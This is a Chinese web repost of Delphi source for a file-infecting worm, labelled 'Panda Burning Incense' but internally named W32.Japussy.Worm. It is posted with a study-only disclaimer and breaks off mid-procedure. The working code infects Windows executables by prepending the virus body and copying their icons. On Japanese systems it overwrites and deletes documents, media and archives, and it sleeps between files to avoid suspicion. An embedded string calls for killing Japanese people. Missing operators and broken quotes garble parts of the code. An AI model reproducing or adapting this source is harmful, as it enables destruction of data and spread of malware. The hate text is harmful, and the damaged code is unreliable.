熊猫烧香核心源代码(Delphi模仿版本号)
熊猫烧香核心源代码(Delphi模仿版本号):
本文来源于互联网,仅用于学习和研究应用,对不良影响负责,造成的任何损失都与本网站无关,特此声明。
program Japussy;
uses
Windows, SysUtils, Classes, Graphics, ShellAPI{, Registry};
const
HeaderSize = 82432; ///病毒体大小
IconOffset = $12EB8; ////PE文档主图标的偏移
///// SP1上方的编译程序获得大小,其他版本的Delphi可能不同
///搜索2800000020的16进制字符串数组可以找到主图标的偏移
{
HeaderSize = 38912; ///Upx缩小了病毒的大小
IconOffset = $92BC; ///Upx缩小了PE文档主图标的偏移
//Upx 1.24W 使用方法: upx -9 --8086 Japussy.exe
}
IconSize = $2E8; ///PE文档主图标大小-744字节数
IconTail = IconOffset IconSize; ////PE文档主图标的尾端
ID = $44444444; ///感七标志
//废物代码,以便载入
Catchword = 'If a race need to be killed out, it must be Yamato. '
'If a country need to be destroyed, it must be Japan! '
'*** W32.Japussy.Worm.A ***';
{$R *.RES}
function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer;
stdcall; external Kernel32.dll'; //函数声明
var
TmpFile: string;
Si: STARTUPINFO;
Pi: PROCESS_INFORMATION;
IsJap: Boolean = False; ///日本计算机操作系统标识
{ 确定Win9x是否确定 }
function IsWin9x: Boolean;
var
Ver: TOSVersionInfo;
begin
Result := False;
Ver.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);
if not GetVersionEx(Ver) then
Exit;
if (Ver.dwPlatformID = VER_PLATFORM_WIN32_WINDOWS) then //Win9x
Result := True;
end;
{ 在流中间复制 }
procedure CopyStream(Src: TStream; sStartPos: Integer; Dst: TStream;
dStartPos: Integer; Count: Integer);
var
sCurPos, dCurPos: Integer;
begin
sCurPos := Src.Position;
dCurPos := Dst.Position;
Src.Seek(sStartPos, 0);
Dst.Seek(dStartPos, 0);
Dst.CopyFrom(Src, Count);
Src.Seek(sCurPos, 0);
Dst.Seek(dCurPos, 0);
end;
{ 将寄主文件从被感染的PE文件中分离出来,以便应用 }
procedure ExtractFile(FileName: string);
var
sStream, dStream: TFileStream;
begin
try
sStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);
try
dStream := TFileStream.Create(FileName, fmCreate);
try
sStream.Seek(HeaderSize, 0); ///绕过头部病毒部分
dStream.CopyFrom(sStream, sStream.Size - HeaderSize);
finally
dStream.Free;
end;
finally
sStream.Free;
end;
except
end;
end;
{ 添加STARTUPINFO结构 }
procedure FillStartupInfo(var Si: STARTUPINFO; State: Word);
begin
Si.cb := SizeOf(Si);
Si.lpReserved := nil;
Si.lpDesktop := nil;
Si.lpTitle := nil;
Si.dwFlags := STARTF_USESHOWWINDOW;
Si.wShowWindow := State;
Si.ccbreserved2 := 0;
Si.lpreserved2 := nil;
end;
{ 发送病毒电子邮件 }
procedure SendMail;
begin
///哪个傻瓜想这样做?
end;
{ 感觉PE文档 }
procedure InfectOneFile(FileName: string);
var
HdrStream, SrcStream: TFileStream;
IcoStream, DstStream: TMemoryStream;
iID: LongInt;
aIcon: TIcon;
Infected, IsPE: Boolean;
i: Integer;
Buf: array[0..1] of Char;
begin
try ///如果出现错误,文档将被应用,文档将被撤回
if CompareText(FileName, 'JAPUSSY.EXE') = 0 then ///我一般不喜欢
Exit;
Infected := False;
IsPE := False;
SrcStream := TFileStream.Create(FileName, fmOpenRead);
try
for i := 0 to $108 do ///检查PE文件头
begin
SrcStream.Seek(i, soFromBeginning);
SrcStream.Read(Buf, 2);
if (Buf[0] = #80) and (Buf[1] = #69) then ///PE标识
begin
IsPE := True; //是PE文档
Break;
end;
end;
// 本文转载 C Builder 科学研究 - http://www.ccrun.com/article.asp?i=1009&d=72ladj
SrcStream.Seek(-4, soFromEnd); ///检查感七标志
SrcStream.Read(iID, 4);
if (iID = ID) or (SrcStream.Size < 10240) then //过小文档不感七
Infected := True;
finally
SrcStream.Free;
end;
if Infected or (not IsPE) then ///如果感七过去了或者不是PE文档,则撤回
Exit;
IcoStream := TMemoryStream.Create;
DstStream := TMemoryStream.Create;
try
aIcon := TIcon.Create;
try
//获得传染文档主标志(744字节数),存进流
aIcon.ReleaseHandle;
aIcon.Handle := ExtractIcon(HInstance, PChar(FileName), 0);
aIcon.SaveToStream(IcoStream);
finally
aIcon.Free;
end;
SrcStream := TFileStream.Create(FileName, fmOpenRead);
//库函数
HdrStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);
try
////之前载入病毒体主标志的数据信息
CopyStream(HdrStream, 0, DstStream, 0, IconOffset);
///载入现阶段程序流程的主标志
CopyStream(IcoStream, 22, DstStream, IconOffset, IconSize);
///将病毒体主标记到病毒体尾部之间的数据
CopyStream(HdrStream, IconTail, DstStream, IconTail, HeaderSize - IconTail);
///输入寄主程序流程
CopyStream(SrcStream, 0, DstStream, HeaderSize, SrcStream.Size);
////输入已感七的标记
DstStream.Seek(0, 2);
iID := $44444444;
DstStream.Write(iID, 4);
finally
HdrStream.Free;
end;
finally
SrcStream.Free;
IcoStream.Free;
DstStream.SaveToFile(FileName); ///更换寄主文档
DstStream.Free;
end;
except;
end;
end;
{ 将目标文件写入废物码后删除 }
procedure SmashFile(FileName: string);
var
FileHandle: Integer;
i, Size, Mass, Max, Len: Integer;
begin
try
SetFileAttributes(PChar(FileName), 0); //去掉只读属性
FileHandle := FileOpen(FileName, fmOpenWrite); ///打开文档
try
Size := GetFileSize(FileHandle, nil); //图片大小
i := 0;
Randomize;
Max := Random(15); ////任何频率加载废物码
if Max < 5 then
Max := 5;
Mass := Size div Max; ///每个间距块的尺寸
Len := Length(Catchword);
while i < Max do
begin
FileSeek(FileHandle, i * Mass, 0); //精确定位
///加载废物码,完全破坏文件
FileWrite(FileHandle, Catchword, Len);
Inc(i);
end;
finally
FileClose(FileHandle); ///关闭文件
end;
DeleteFile(PChar(FileName)); //删掉之
except
end;
end;
{ 可写控制器目录 }
function GetDrives: string;
var
DiskType: Word;
D: Char;
Str: string;
i: Integer;
begin
for i := 0 to 25 do //赋值26个字母
begin
D := Chr(i 65);
Str := D ':';
DiskType := GetDriveType(PChar(Str));
///获取系统盘和互联网盘
if (DiskType = DRIVE_FIXED) or (DiskType = DRIVE_REMOTE) then
Result := Result D;
end;
end;
{ 赋值文件目录,感染催毁文件 }
procedure LoopFiles(Path, Mask: string);
var
i, Count: Integer;
Fn, Ext: string;
SubDir: TStrings;
SearchRec: TSearchRec;
Msg: TMsg;
function IsValidDir(SearchRec: TSearchRec): Integer;
begin
if (SearchRec.Attr <> 16) and (SearchRec.Name <> '.') and
(SearchRec.Name <> '..') then
Result := 0 ///不是文件目录
else if (SearchRec.Attr = 16) and (SearchRec.Name <> '.') and
(SearchRec.Name <> '..') then
Result := 1 ///不是网站根目录
else Result := 2; //是网站根目录
end;
begin
if (FindFirst(Path Mask, faAnyFile, SearchRec) = 0) then
begin
repeat
PeekMessage(Msg, 0, 0, 0, PM_REMOVE); //调整线程池,避免引起怀疑
if IsValidDir(SearchRec) = 0 then
begin
Fn := Path SearchRec.Name;
Ext := UpperCase(ExtractFileExt(Fn));
if (Ext = '.EXE') or (Ext = '.SCR') then
begin
InfectOneFile(Fn); //感七可执行程序
end
else if (Ext = '.HTM') or (Ext = '.HTML') or (Ext = '.ASP') then
begin
//感奇HTML和ASP文档,将Base64号后的病毒感染载入
////感奇访问本页的每个用户
///哪个老铁想做?
end
else if Ext = '.WAB' then ///Outlook通讯簿文档
begin
///获取Outlook邮箱地址
end
else if Ext = '.ADC' then ///Foxmail详细地址自动执行文档
begin
//获得Foxmail邮箱地址
end
else if Ext = 'IND' then ///通讯簿文档
begin
//获得Foxmail邮箱地址
end
else
begin
if IsJap then ///是日本操作系统软件
begin
if (Ext = '.DOC') or (Ext = '.XLS') or (Ext = '.MDB') or
(Ext = '.MP3') or (Ext = '.RM') or (Ext = '.RA') or
(Ext = '.WMA') or (Ext = '.ZIP') or (Ext = '.RAR') or
(Ext = '.MPEG') or (Ext = '.ASF') or (Ext = '.JPG') or
(Ext = '.JPEG') or (Ext = '.GIF') or (Ext = '.SWF') or
(Ext = '.PDF') or (Ext = '.CHM') or (Ext = '.AVI') then
SmashFile(Fn); ///催毁文档
end;
end;
end;
///感染或删除文件后,睡眠质量为200ms,防止CPU占用过多引起怀疑
Sleep(200);
until (FindNext(SearchRec) <> 0);
end;
FindClose(SearchRec);
SubDir := TStringList.Create;
if (FindFirst(Path '*.*', faDirectory, SearchRec) = 0) then
begin
repeat
if IsValidDir(SearchRec) = 1 then
SubDir.Add(SearchRec.Name);
until (FindNext(SearchRec) <> 0);
end;
FindClose(SearchRec);
Count := SubDir.Count - 1;
for i := 0 to Count do
LoopFiles(Path SubDir.Strings[i] '', Mask);
FreeAndNil(SubDir);
end;
{ 赋值硬盘上所有文档 }
procedure InfectFiles;